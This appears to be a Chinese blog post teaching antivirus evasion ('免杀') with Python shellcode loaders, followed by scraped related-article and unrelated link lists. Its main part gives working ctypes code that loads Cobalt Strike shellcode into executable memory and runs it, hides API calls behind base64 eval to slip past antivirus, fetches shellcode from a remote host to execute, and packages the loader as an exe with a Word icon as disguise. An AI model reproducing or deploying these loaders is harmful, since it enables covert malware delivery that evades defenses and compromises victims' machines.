免杀之:Python加载shellcode免杀

使用Python可以做一些加密、混淆,但使用Python编译生成的exe文件普遍比较大

1 Python 加载Shellcode免杀

  1. 生成CS的Python类型Shellcode

  2. 将生成的Payload中"号中的内容拷贝到下面的脚本中

    1. 本地用脚本

      #!/usr/bin/python
      import ctypes
      buf = b"shellcode" shellcode = buf
      shellcode = bytearray(shellcode)
      # 设置VirtualAlloc返回类型为ctypes.c_uint64
      ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
      # 申请内存,设置VirtualAlloc返回类型为ctypes.c_uint64。64位操作系统返回的地址需要是该类型。
      ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) # 放入shellcode。开辟一段内存,其中ctypes.c_int(x)是指将x转为C语言中的int类型。ctypes是python中为便于调用windows的c语言接口函数而自带的库。VirtualAlloc函数的细节描述可查看VirtualAlloc。
      buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) # 将shellcode放入内存。RtlMoveMemory函数细节同样可查微软的文档。
      ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))
      # 有些杀软会过滤上面字段:可通过base64编码该段代码进行绕过。eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KAogICAgY3R5cGVzLmNfdWludDY0KHB0ciksIAogICAgYnVmLCAKICAgIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkKKQ==")) # 创建线程并开始从shellcode的首地址开始执行,首地址即为申请到的地址ptr。
      handle = ctypes.windll.kernel32.CreateThread(
      ctypes.c_int(0),
      ctypes.c_int(0),
      ctypes.c_uint64(ptr),
      ctypes.c_int(0),
      ctypes.c_int(0),
      ctypes.pointer(ctypes.c_int(0))
      ) # 等待上面创建的线程运行完
      ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
      # 有些杀软会过滤上面字段:可通过base64编码该段代码进行绕过。
      # eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGN0eXBlcy5jX2ludChoYW5kbGUpLGN0eXBlcy5jX2ludCgtMSkp"))
    2. 远程用脚本:将生成的Payload中"号中的内容,经过Base64编码后拷贝到远程服务器shellcode.txt

      import ctypes,urllib.request,codecs,base64
      shellcode = urllib.request.urlopen('http://192.168.50.2/shellcode.txt').read().strip()
      shellcode = base64.b64decode(shellcode) shellcode =codecs.escape_decode(shellcode)[0] shellcode = bytearray(shellcode)
      # 设置VirtualAlloc返回类型为ctypes.c_uint64
      ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
      # 申请内存
      ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
      # 放入shellcode
      buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) # 有些杀软会过滤字符:
      #`ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))`。可通过base64编码该段代码进行绕过。
      eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KAogICAgY3R5cGVzLmNfdWludDY0KHB0ciksIAogICAgYnVmLCAKICAgIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkKKQ==")) # 创建一个线程从shellcode放置位置首地址开始执行
      handle = ctypes.windll.kernel32.CreateThread(
      ctypes.c_int(0),
      ctypes.c_int(0),
      ctypes.c_uint64(ptr),
      ctypes.c_int(0),
      ctypes.c_int(0),
      ctypes.pointer(ctypes.c_int(0))
      )
      # 等待上面创建的线程运行完
      # 有些杀软会过滤字符:
      #`ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))`。可通过base64编码该段代码进行绕过。
      eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGN0eXBlcy5jX2ludChoYW5kbGUpLGN0eXBlcy5jX2ludCgtMSkp"))
  3. 使用Python打包python脚本为exe

    pyinstaller -F pyshell.py --noconsole -i word.ico -n pythonshell.exe
  4. 免杀火绒,但会被360、Windows Defender查杀

免杀之:Python加载shellcode免杀的更多相关文章

  1. VirtualAlloc加载shellcode免杀一点记录

    一个很好的学习网站 推荐一下: https://docs.microsoft.com/zh-cn/windows/win32/api/ 0x01 VirtualAlloc VirtualAlloc: ...

  2. Python内存加载shellcode

    生成 首先生成一个测试的msf shellcode msfvenom -p windows/x64/exec CMD=calc.exe -f python 把其中的shellcode复制出来留待待会使 ...

  3. Android中插件开发篇之----动态加载Activity(免安装运行程序)

    一.前言 又到周末了,时间过的很快,今天我们来看一下Android中插件开发篇的最后一篇文章的内容:动态加载Activity(免安装运行程序),在上一篇文章中说道了,如何动态加载资源(应用换肤原理解析 ...

  4. Advanced GET 9.1 修正汉化版(免注册、页面加载、保存都正常)

    http://www.55188.com/viewthread.php?tid=2846679 Advanced GET 9.1 修正汉化版(免注册.页面加载.保存都正常) 网上流传的很多GET9.1 ...

  5. 动态加载 ShellCode绕过杀软

    反病毒解决方案用于检测恶意文件,并且通常使用静态分析技术来区分二进制文件的好坏.如果是恶意文件本身包含恶意内容(ShellCode),那么依靠静态分析技术会非常有效,但如果攻击者使用轻量级的stage ...

  6. 【Android编程实战】源码级免杀_Dex动态加载技术_Metasploit安卓载荷傀儡机代码复现

    /文章作者:MG193.7 CNBLOG博客ID:ALDYS4 QQ:3496925334/ 在读者阅读本文章前,建议先阅读笔者之前写的一篇对安卓载荷的分析文章 [逆向&编程实战]Metasp ...

  7. C118 免按开机自动加载固件

    最近无事,研究了按按钮开机的功能:功能的起初是参考了别人的系统是怎么做免开机加载固件的. 一.原理: 1.c118 原生loader部分代码是没有源代码的,它上电只需要按开机键然后系统就会起来. 2. ...

  8. Selenium3+python 加载Firefox配置

    有小伙伴在用脚本启动浏览器时候发现原来下载的插件不见了,无法用firebug在打开的页面上继续定位页面元素,调试起来不方便 . 加载浏览器配置,需要用FirefoxProfile(profile_di ...

  9. python加载csv数据

    入门机器学习时,一些测试数据是网络上的csv文件.这里总结了两种加载csv文件的方式: 1 通过numpy.urllib2加载 import numpy as np import urllib2 ur ...

  10. Python 加载mnist、cifar数据

    import tensorflow.examples.tutorials.mnist.input_data mnist = input_data.read_data_sets("MNIST_ ...

随机推荐

  1. .net 温故知新:【10】.NET ORM框架EFCore使用入门之CodeFirs、DBFirst

    前言:本系列是我自己学习.net相关知识,以便跟上.net跨平台的步伐,目前工作原因基本在.net Framework4.7以下,所以才有了这一系列的学习总结,但是并不是从基本的C#语法和基础知识开始 ...

  2. vulnhub靶场之CONTAINME: 1

    准备: 攻击机:虚拟机kali.本机win10. 靶机:CONTAINME: 1,下载地址:https://download.vulnhub.com/containme/THM-ContainMe-v ...

  3. 《MySQL必知必会》之事务、用户权限、数据库维护和性能

    第二十六章 管理事务处理 本章介绍什么是事务处理以及如何利用COMMIT和ROLLBACK语句来管理事务处理 事务处理 并非所有数据库引擎都支持事务处理 常用的InnoDB支持 事务处理可以用来维护数 ...

  4. CPU 和 CPU Core 有啥区别?多核 CPU?多个 CPU?

    CPU 全称 Central Processing Unit,中央处理器,计算机的大脑,长这个样子: CPU 通过一个插槽安装在主板上,这个插槽也叫做 CPU Socket,它长这个样子: 而我们说的 ...

  5. python安装与初识

    一.Linux基础 - 计算机以及日后我们开发的程序防止的服务器的简单操作 二.Python开发 http://www.cnblogs.com/wupeiqi/articles/5433893.htm ...

  6. jenkins+git+.net core实现自动发布

    一.前言 继上篇介绍jenkins过去2年多了,最近整理了一下,希望这篇能介绍到一些更实用的方法和知识. 本次使用的jenkins版本是2.375.1.jdk 17.WinRAR.git:发布时,可以 ...

  7. Javaweb后端学习笔记

    C/S结构与B/S结构: 1.C/S(Client/Server)结构:适用于个人娱乐市场[QQ等] (1).优点:安全性高.且有效降低服务器压力: (2).不足:增加服务成本.更新较繁琐: 2.B/ ...

  8. 2_cookie、session、token、sign

    一.关于cookie.session.token.sign 借鉴链接:https://juejin.cn/post/7147913027785293855

  9. HelloGitHub 最受欢迎的开源项目 Top10(2022年)

    再见 2022,你好 2023! HelloGitHub 也随着 2023 年的到来,更新到了第 81 期 开始迈向第 7 个年头啦. 在过去的 2022 年,我们一共发布了 12 期月刊.分享了 5 ...

  10. 一问读懂Web3 架构

    最近看了一些Web3.0的文章,总结了一些个人的理解: Web3.0 通过区块链基础设施管理用户数据,重构用户和互联网平台之间的关系和交互,重新定义了互联网应用的架构方式和交互模式. Web 1.0 ...